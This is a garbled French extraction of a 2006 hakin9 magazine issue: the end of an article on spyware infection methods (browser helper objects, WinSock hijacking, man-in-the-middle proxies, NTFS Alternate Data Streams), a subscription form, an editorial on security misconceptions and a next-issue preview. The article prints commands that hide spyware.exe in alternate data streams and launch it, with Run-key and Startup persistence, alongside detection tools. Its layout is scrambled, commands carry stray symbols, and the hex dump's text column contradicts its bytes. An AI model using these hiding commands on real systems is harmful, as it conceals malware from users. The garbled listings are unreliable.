/www.codeproject.com /atl / popupblocker.asp. Vous trouverez les manuels d'aide pour écrire des BHO sur le site Web de Microsoft MSDN. Comment détecter/éviter/ supprimer ? Les programmes comme BHODemon (voir la Figure 7 et l'encadré Sur Internet) sont capables d'empêcher les BHO de se lancer au démarrage de Internet Explorer. BHODemon peut également être employé pour détecter une infection et identifier le www.hakin9.org Pirates de WinSock Un exemple pratique Quand vous analysez ce type de logiciel au moyen de Malcode Analyst Pack du laboratoire iDEFENSE (voir l'encadré Sur Internet), le code présenté sur les Listings 4 et 5 s'affiche hakin9 Nº 1/2006 71 Fiche technique via la commande strings. Ces exemples démontrent comment un proxy se sert du site Web WebHancer en ajoutant et en modifiant les clés de registre afin de dérouter le trafic du navigateur. Comment détecter/éviter/ supprimer ? Figure 9. Comment fonctionnent des proxies man-in-the-middle Il est très difficile d'essayer de supprimer les programmes de ce type. Sans le savoir, vous pouvez arrêter votre connexion Internet pour de bon car vous aurez supprimé un fichier DLL incorrect. La meilleure solution consiste à se servir d'un programme dédié pour nettoyer correctement. LSP-Fix en est un bon exemple (voir l'encadré Sur Internet). Afin d'éviter une installation d'un pirate de WinSock, vous pouvez également utiliser un outil appelé SockLock (voir l'encadré Sur Internet). Il empêche toute modification de WinSock en le verrouillant. Afin de détecter des pirates WinSock, vous pouvez vous servir d'un outil tel que Hijack This (voir l'encadré Sur Internet). Au lancement de cet outil, vous serez informés si votre WinSock a été piraté (p. ex. Hijacked Internet access by New.NetI) ou endommagé (p. ex. Broken Internet access because of LSP provider 'c:\ progra~1\ common~2\ toolbar \ cnmib.dll' missing). Il est toutefois incapable de résoudre le problème. Vous devrez donc vous servir de LSP-Fix. Proxies de l'attaque man-in-the-middle Figure 10. Détecter Marketscore au moyen de Active Ports Listing 6. Logiciel malveillant distribué via ADS 10.0.0.75.1032 > 10.0.0.77.3733: P [tcp sum ok] 3530256009:3530256512(503) ack 758422019 win 17303 0x0000 4500 021f 02df 4000 8006 71de c0a8 0165 [email protected] 0x0010 c0a8 0166 0406 10e1 d26b 6e89 2d34 9a03 ...f.....kn.-4.. 0x0020 5018 4397 e869 0000 0d0a 3132 2f30 352f P.C..i....23/09/ 0x0030 3230 3034 2020 3039 3a33 3061 2020 2020 2005..22:09a.... 0x0040 2020 2020 2020 2020 2020 3332 2c37 3638 ..........32,768 0x0050 2069 7065 7965 2e65 7865 0d0a 3132 2f30 rootkit.exe.23/0 0x0060 352f 3230 3034 2020 3039 3a33 3261 2020 9/2005..22:09a.. 0x0070 2020 2020 2020 2020 2020 2020 3332 2c37 ............32,7 0x0080 3638 206b 6c6f 6767 6572 2e65 7865 0d0a 68.keylogger.exe 72 hakin9 Nº 1/2006 www.hakin9.org Augmenter la vitesse de connexion Internet jusqu'à 40% – ne serait-il pas super ? De nombreux utilisateurs s'enthousiasment pour les annonces de ce type et téléchargent les programmes comme MarketScore (le fichier s'appelle ossproxy). Il est recommandé de ne jamais télécharger et installer de tels programmes car il est tout à fait probable que le programme détournera en réalité tout trafic Internet sur votre système via des serveurs proxy dédiés (y compris les transactions sécurisées !). Méthodes d'infection par un logiciel espion www.hakin9.org hakin9 Nº 1/2006 73 Fiche technique Il est aussi possible d'exécuter directement les données dans un ADS. On connaît au moins cinq façons d'exécuter des types différents sous Windows 2000. Voici quelques scénarios possibles : • • • Figure 11. Détecter des ADS au moyen de l'espion ADS Comment cela fonctionne ? Le logiciel installe souvent une autorité de certification de confiance. Au moyen de la méthode man-in-themiddle, le trafic entier est dans un premier temps envoyé aux serveurs man-in-the-middle et ensuite, à la destination tapée dans le champ d'adresse URL du navigateur. Les propriétaires de ces serveurs récoltent facilement toutes les données, y compris les mots de passe et d'autres informations confidentielles. Comment détecter/éviter/ supprimer ? Puisque la plupart de ces logiciels sont installés de plein gré par l'utilisateur, la méthode pour les éviter est assez simple : ne pas installer. Afin de détecter si ce type de logiciel est installé, il est nécessaire de disposer d'un outil qui affiche des caractéristiques de vos connexions. Active Ports est un bon outil. La Figure 10 présente son utilisation pour détecter l'infection MarketScore. Vous pouvez voir de nombreuses sessions qui se servent du fichier ossproxy.exe en surfant sur Internet. Flux de données additionnels NTFS est un système de fichiers de choix lors de l'installation d'une plate-forme Microsoft. Il propose une stabilité et une sécurité ainsi que plusieurs autres mécanismes inté- 74 hakin9 Nº 1/2006 ressants. Un de ces mécanismes, Flux de données additionnels (en anglais Alternate Data Streams, ADS) est utilisé pour fournir une compatibilité avec Hierarchical File System de Macintosh, en stockant un ensemble de données dans un fichier précis. Il peut également être utilisé pour tracer le changement de volume. Microsoft ne fournit pas d'outils pour détecter la présence d'un code caché dans les flux ADS. Alternate Data Streams sont légèrement différents de Primary Data Streams (flux de données primaires). Microsoft et les applications tierces sous Windows ne les gèrent pas de la même manière. La plus grande différence entre les flux de données primaires et additionnels est de savoir si une application est capable de détecter un flux additionnel, et si c'est le cas de quelle manière y accèder. La façon de supprimer les données qui existent dans un flux additionnel n'est pas identique à celle employée dans le cas des données dans un flux primaire. Tout flux de données a ses propres attributs fermants mais Windows ne fait attention qu'à la fermeture d'un flux sans nom. Ceci crée une vulnérabilité où un ADS peut être créé et édité. Il est en même temps protégé pour que les scanners ADS ne le découvrent pas et ne le suppriment pas. www.hakin9.org • • Exécuter le flux à partir de la fenêtre Run quand file:\notepad.exe: <stream name> fonctionne pour le flux .exe et .vbs. Exécuter le script Visual Basic à partir de la ligne de commandes à l'aide de Windows Scripting Host en lançant wscript notepad.exe:<VBstream name>. Créer un raccourci à notepad.exe: <stream name> exécutera aussi bien le flux .exe que .vbs. Placer le raccourci au flux dans le répertoire Windows Startup exécutera les flux .exe et .vbs quand l'utilisateur se connectera. Ajouter une clé test avec une valeur notepad.exe <stream name> au HKLM\SOFTWARE\ Microsoft\Windows\ CurrentVersion\Run exécutera les flux .exe et .vbs au démarrage du système. Les concepteurs de logiciels espions (par exemple, les variantes CoolWebSearch) se servent des techniques de ce type pour cacher leur code malveillant dans les ADS. Il est très facile de le réaliser ; aucun outil spécial n'est pas nécessaire ; l'utilisateur a besoin seulement d'un outil sensible aux flux comme Notepad pour éditer/ajouter des données. Un exemple pratique Démarrez avec un exemple très simple : > type c:\spyware.exe > § c:\winnt\system32\notepad.exe: spyware.exe § ajoutera au programme notepad ordinaire un ADS spyware.exe. Un autre exemple : > cd C:\ > copy C:\winnt\notepad.exe C:\notepad.exe § Méthodes d'infection par un logiciel espion www.hakin9.org hakin9 Nº 1/2006 75 Fiche technique > edit C:\randumb.txt > type notepad.exe > randumb.txt:nd.exe § Vous pouvez à présent exécuter toujours ce programme notepad.exe à partir du fichier texte : À propos de l'auteur Christiaan Beek travaille depuis plusieurs années dans le domaine de sécurité. Il a travaillé pour les sociétés nationales et internationales ; il a ainsi acquis du savoir lié aux techniques de piratage, aux technologies de virus et à la détection des intrus. Actuellement, il travaille comme consultant de sécurité/pirate éthique pour une société hollandaise, Getronics. Il passe son temps libre avec sa famille ; il lit, analyse et étudie l'ingénierie inverse de la sortie de ses pots de miel de logiciels malveillants. > start C:\randumb.txt:nd.exe Les crackers se servent aussi de cette technique pour installer les rootkits, les enregistreurs de frappes sur les ordinateurs équipés de Windows après avoir créé un shell distant dans la boîte 0wn3d. En utilisant TFTP, les fichiers suivants sont transférés vers un répertoire qui a l'air innocent C:\ WUTemp$dir. Le Listing 6 présente l'analyse du flux avec tcpdump. Le répertoire C:\WUTemp$dir contient un fichier appelé wutest. Un intrus copie les outils dans ce fichier pour les cacher dans un flux de données additionnel : > type spyware.exe > wutest:spyware.exe § Il est également possible de copier un fichier dans un flux d'un répertoire comme C:\. Il existe de nombreuses manières dont peut se servir un intrus pour démarrer les programmes, comme par exemple : les scripts batch ou la commande start. Les analyses récentes de pots de miel démontrent que les attaques de ce type sont couramment utilisées ces derniers temps. Comment détecter/éviter/ supprimer ? Malheureusement, Microsoft ne fournit pas d'outil pour détecter Alternate Data Streams. Il existe toutefois d'autres logiciels, comme espions LADS ou ADS (voir l'encadré Sur Internet). Voyez de quelle manière il est possible de détecter et de supprimer des ADS en pratique. Dans un premier temps, créez un exemple de flux : >§ c:\WINDOWS\system32\calc.exe: § > type c:\temp\spyware.exe.txt Ceci crée un ADS dans le fichier calc.exe, la calculatrice. Démarrez maintenant l'espion ADS : la Figure 11 présente les résultats d'un scan du système. Comme vous pouvez le remarquer, l'espion ADS a détecté le flux ; vous pouvez à présent le sélectionner et le supprimer facilement à l'aide de cet outil. Il est difficile d'éviter des ADS mais de plus en plus de vendeurs de programmes anti-virus améliorent leurs produits pour permettre de détecter ces ADS. Conclusion Pour résoudre les programmes liés aux logiciels espions, un logiciel anti-spyware ne suffit pas. Un pa- Bibliographie • • • • • The Dark Side of NTFS (Microsoft’s Scarlet Letter) écrit par H. Carvey, ADS écrit par R. Means, Malware: Fighting Malicious Code écrit par Ed Skoudis et Lenny Zeltser, The Art of Computer Virus Research and Defense écrit par Peter Szor, Sockets, Shellcode, Porting, and Coding : Reverse Engineering Exploits and Tool Coding for Security Professionals écrit par James C. Foster, Stuart McClure. Sur Internet • • • • • • • • • http://www.mwcollect.org – mwcollect – une solution pour trouver des logiciels malveillants via des pots de miel, http://www.definitivesolutions.com/bhodemon.htm – BHO Demon – pour se protéger contre les BHO inconnus, http://www.hitmanpro.nl/ – une suite anti-spyware gratuite très recommandée, http://www.idefense.com/iia/labs-software.php?show=8 – Malcode Analyst Pack, http://www.nsclean.com/socklock.html – SockLock – protège WinSock contre les modifications, http://www.merijn.org/downloads.html – Hijack This (affiche des connexions WinSock piratées), espion ADS (détecte et supprime Alternate Data Streams) et d'autres outils intéressants, http://www.protect-me.com/freeware.html – Active Ports – pour détecter les proxies de man-in-the-middle, http://www.cexx.org/lspfix.htm – LSP-Fix – aide à supprimer les LSP illégitimes, http://www.heysoft.de/Frames/f_sw_la_en.htm – LADS – affiche des Alternate Data Streams. spyware.exe.txt 76 hakin9 Nº 1/2006 quet parfait n'étant pas disponible, la meilleure façon consiste donc à utiliser une combinaison de programmes anti-spyware acquis chez des éditeurs connus. Il est bien évidemment aussi important de mettre à jour votre système d'exploitation régulièrement. Dans certains cas spécifiques, les outils tiers sont nécessaires pour répondre aux problèmes. D'un autre côté, est-il réellement possible d'arrêter les logiciels espions ? Puisqu'ils rapportent beaucoup d'argent, la lutte entre les concepteurs et les défenseurs continuera ; ils vont donc utiliser et développer de nouvelles techniques afin de se vaincre mutuellement. l www.hakin9.org www.shop.software.com.pl/fr Abonnez-vous à vos magazines préférés et commandez des anciens numéros ! Vous pouvez en quelques minutes et en toute sécurité vous abonner à votre magazine préféré. Nous vous garantissons : • des tarifs préférentiels, • un paiement en ligne sécurisé, • la prise en compte rapide de votre commande. Abonnement en ligne sécurisé à tous les magazines de la maison d’édition Software ! bulletin d’abonnement Merci de remplir ce bon de commande et de nous le retourner par fax : 0048 22 887 10 11 ou par courrier : Software-Wydawnictwo Sp. z o.o., Piaskowa 3, 01-067 Varsovie, Pologne ; Tél. 0048 22 887 13 44 ; E-mail : [email protected] Prénom Nom ............................................................................................... Entreprise ................................................................................................... Adresse ................................................................................................................................................................................................................................. Code postal ................................................................................................ Ville .............................................................................................................. Téléphone ................................................................................................... Fax ............................................................................................................... Je souhaite recevoir l'abonnement à partir du numéro ..................................................................................................................................................... E-mail (indispendable pour envoyer la facture) ................................................................................................................................................................. o Prolongement automatique d’abonnement Titre Programmation sous Linux (1 CD ou DVD) Bimestriel pour les programmeurs professionnels Nombre de numéros annuels Nombre d’abonnements À partir du numéro Prix 6 38 € 6 38 € 12 86 € Linux+ Extra Pack (4-7 CDs ou 1-3 DVDs) Distributions Linux les plus populaires 6 50 € PHP Solutions (1 CD) Le plus grand magazine sur PHP au monde 6 38 € 6 38 € 6 39 € Software Developer’s Journal Extra ! (1 CD ou DVD) – anciennement Software 2.0 Extra Bimestriel sur la programmation Linux+DVD (2 DVDs) Mensuel unique avec 2 DVDs consacré à Linux et à ses utilisateurs Hakin9 – comment se défendre ? (1 CD) Bimestriel destiné aux personnes qui s’intéressent à la sécurité des systèmes informatiques .PSD (2 CDs) Bimestriel pour les utilisateurs d’Adobe Photoshop Total Je règle par : ¨ Carte bancaire n° CB type de carte .......................................................................... Virement bancaire : Nom banque : Société Générale Chasse/Rhône banque guichet numéro de compte clé Rib 30003 01353 00028010183 90 IBAN : FR76 30003 01353 00028010183 90 Adresse Swift (Code BIC) : SOGEFRPP ¨ expire le code CVC/CVV date et signature obligatoires Fausses idées sur la sécurité informatique Éditorial Stefano Zanero D ans un récent éditorial (http://www.ranum.com/ security/computer_security/editorials/dumb/ ), Marcus J. Ranum, expert très connu en sécurité informatique, a évoqué ce qu'il considère comme les idées les plus fausses jamais entendues dans le domaine de la sécurité informatique. J'ai moi-même trouvé son approche assez amusante et intéressante. J'ai donc décidé de vous faire partager sa liste de fausses idées tout en y ajoutant mes notes et commentaires personnels. Selon Ranum, le premier problème provient de l'approche appelée Autorisations par Défaut, autrement dit tout autoriser sur votre machine à moins de faire l'objet d'une interdiction explicite. Vous vous demandez sans doute mais qui pense à régler son pare-feu avec une telle approche ? Bien que j'aie à l'esprit quelques uns de mes clients, dans l'ensemble, vous avez raison : aujourd'hui, nous pensons tous que les pares-feux sont censés appliquer une politique d'Interdictions par Défaut. Mais pensez aux réseaux dépourvus de segmentations internes... N'est-ce pas une autre forme d'Autorisations par Défaut ? Et qu'en est-il des systèmes d'exploitation exécutant n'importe quelle partie du code inconnu, lorsque la plupart des utilisateurs n'exécutent que quelques applications ? Sans mentionner toutes les histoires autour des Systèmes de Prévention d'Intrusion : sous leur appellation imposante, ne se trouvent que des objets bien ordinaires chargés de supprimer des attaques connues. En d'autres termes, s'il ne s'agit pas d'une attaque connue, laisse la passer, ce qui n'est encore qu'un autre exemple d'Autorisations par Défaut. Ce qui nous conduit vers la deuxième idée fausse, évoquée par Ranum : l'Enumération de mauvaise qualité. En d'autres termes, développer votre système de sécurité selon une liste de mauvaises actions que vous souhaitez empêcher. Prenez par exemple les virus, les vers et les chevaux de Troie : pourquoi perdre votre temps à lister des milliers de nouveaux virus, lorsqu'il est juste possible d'autoriser des applications spécifiques, et rien de plus, à fonctionner sur votre PC ? La même manœuvre s'applique pour les systèmes de filtrage du trafic. La troisième fausse idée décrite par Ranum est l'approche Pénétration et Correction, que j'ai, pour ma part, trouvé moins convaincante. D'un côté, je suis d'accord avec l'hypothèse selon laquelle (peu) d'applications, telles que qmail ou Postfix, sont quasiment dépourvues de bogues ou de vulnérabilités, dans la mesure où elles ont été conçues pour être sûres. Donc, à l'instar de Marcus, je pense que dans le domaine de l'ingénierie des logiciels, le problème 80 hakin9 Nº 1/2006 consiste à inverser cette approche. Mais, de l'autre côté, je crois qu'en ce qui concerne la sécurité des réseaux, il est très utile d'avoir quelqu'un chargé de tester les systèmes de sécurité par pénétration pour l'utilisateur final, de manière à lui garantir que tout a été réalisé correctement. Je ne suis pas non plus convaincu par la quatrième idée fausse : selon Ranum, nous devrions cesser de penser que le piratage est génial, et commencer à apprendre que l'ingénierie de qualité est bien meilleure. Et bien, ma réponse à cette idée est à la fois oui et non : nous avons besoin d'ingénieurs capables de construire des logiciels robustes dans leur conception, mais nous avons également besoin d'esprits flexibles capables de remettre en question les hypothèses et de prouver que ce que nous pensions impossible est possible, à l'instar des hackers. Je passerai sur la cinquième fausse idée (sur la sensibilisation des utilisateurs, qui ne fonctionne pas... et j'aimerais donner un conseil personnel à Ranum sur sa sixième fausse idée : il est parfois plus judicieux de ne rien faire que de faire une bêtise. Avant de dépenser des dizaines de milliers d'euros dans une nouvelle technologie non-testée, il est préférable de placer son argent sur quelqu'un doté des compétences nécessaires pour nous aider à comprendre ce qu'il faut faire. Il vaut mieux d'abord comprendre d'où vient l'erreur, avant d'appliquer de nouvelles politiques de sécurité qui demeureront inutilisées. Si la devise de Google est Don't be evil (Ne soyez pas malveillants), je propose que la notre soit Don't be dumb (Ne soyez pas idiots). Et c'est plus dur que vous ne pourriez l'imaginer, parole de connaisseur !l À propos de l'auteur Stefano Zanero poursuit ses études de doctorat dans le Département d'Electronique et d'Informatique de l’École Polytechnique de Milan. Il s'intéresse plus particulièrement aux Systèmes de Détection d'Intrusion, à la performance des systèmes de sécurité, ainsi qu'à la sécurité des applications web. Conférencier, auteur et co-auteur de nombreux livres et articles publiés dans diverses revues, il est également membre du Conseil du Journal in Computer Virology et opère en tant que réviseur pour l'ACM Computing Reviews et l'IEEE Security&Privacy. Il rédige également des articles pour l'hebdomadaire Security Manager’s Journal sur Computer World Italy et a reçu un prix de journalisme. Depuis 2004, il est actionnaire et PDG de Secure Network, société spécialisée dans la formation en sécurité informatique, basée à Milan. www.hakin9.org > > > s é d n a m m Sites reco Abc de la sécurité informatique : Portail dédié a la protection utilisateurs, la prévention et l’anonymat sur micro et réseaux. http://abcdelasecurite.free.fr Corporate Hackers fournit services et solutions dans le domaine de la sécurité des nouvelles technologies. http://corporatehackers.com Le Portail Québécois de la Sécurité Des Systemes. Site de nouvelles, forums, téléchargements, liens sécurité, et conseils. http://www.cccure.net Blocus zone est un portail sur la sécurité informatique. Actualités, cours, tests de connaissances, et un forum très actif ! http://www.blocus-zone.com HackIsKnowledge est un site d’entreaide à la sécurité informatique. Le webmaster vous propose audits gratuits, forum, download. http://www.hackisknowledge.org Actualités, astuces, optimisation, personnalisation windows, sécurité, visuels et téléchargement de logiciels, jeux et captures. http://www.smtechnologie.com SecuriteInfo.com, un des sites web leaders de la sécurité informatique francophone, propose ses services aux professionnels depuis 2004. http://www.securiteinfo.com Toute l’actualité informatique, les dernieres adresses, et beaucoup d’autres fonctionnalités, tout ceci géré par une équipe dynamique. http://www.puissance-pc.net Construit sur des serveurs FreeBSD et Linux Informations sur UNIX, Linux, Windows, les réseaux – Hébergement libre sur serveurs libres. http://www.virtuelnet.net VirusTraQ.com est un observatoire francophone sur les virus informatiques, le spam et les applications indésirables (spyware/adware). http://www.virustraq.com Vulnerabilite.com est le portail francophone dédié a la sécurité des systemes d’information pour les DSI, RSSI et décideurs informatique. http://www.vulnerabilite.com Crée par Terence DEWAELE, Ze-Linux a pour but d’aider la communauté française a utiliser GNU/Linux: Forums, Liste, News. http://www.ze-linux.org Voulez-vous recommander votre site ? Contactez-nous : [email protected] dés Sites recomman hakin9 2/2006 Dans le numéro suivant, vous trouverez, entre autres : Prochainement Les vulnérabilités de l'AS/400 d'IBM Dossier Bon nombre de grosses organisations comme les banques, les hôpitaux, les casinos, etc., sont équipées de systèmes AS/400 d'IBM et les utilisent souvent pour la gestion de données critiques. L'architecture et le système d'exploitation propriétaires de ces systèmes les rendent moins vulnérables que d'autres solutions plus communes. Pourtant, depuis qu'Internet s'est généralisé et qu'il est nécessaire de connecter ces machines aux réseaux contemporains, des faiblesses susceptibles d'affecter ces systèmes ont été mises au jour. Shalom Carmel se penche sur les vulnérabilités de l'AS/400 et montre l'impact potentiel de celles-ci sur la sécurité des entreprises. Utiliser un framework d'exploits pour les tests d'intrusion Pratique Une des tâches les plus gourmandes en temps des tests d'intrusion est celle qui porte sur l'exploitation des failles potentielles. Alors que le processus d'exploration peut être automatisé dans une large mesure, identifier l'exploit qui permettra de démontrer l'existence de la faille est d'ordinaire un travail de bénédictin. Les frameworks d'exploit sont une solution mise au point pour faciliter cette tâche. Tim O. Shenko se penche sur les frameworks disponibles, les compare et analyse leur utilisabilité dans le contexte des tests d'intrusion. Créer une porte dérobée adossée à un renifleur Fiche technique Détecter des portes dérobées classiques est à la portée de quiconque utilise un simple outil de surveillance pour afficher les connexions ouvertes. En outre, utiliser ces portes n'est pas facile quand un pare-feu bloque l'accès à la machine. Brandon Edwards, auteur de SilentDoor, un prototype de porte dérobée, montre comment créer une porte dérobée qui utilise le reniflage de paquets pour lever ces obstacles. Automatiser la procédure des exploits sous Linux Programmation Lors de tests d'intrusion, il arrive que l'on tombe sur un programme dont le code source est indisponible et qui présente un risque de faille par débordement de tampon. Le désassemblage manuel du code nécessaire pour identifier le moyen d'exploiter ce risque est un travail laborieux. Stavros Lekkas montre comment automatiser la procédure d'identification des exploits potentiels dans de tels cas au moyen de son outil PoC (proof-of-concept). Pour voir les informations actuelles sur le prochain numéro, visitez la page http://www.hakin9.org/fr Ce numéro sera disponible en vente début mars 2006. La rédaction se réserve le droit de modifier le contenu de la revue.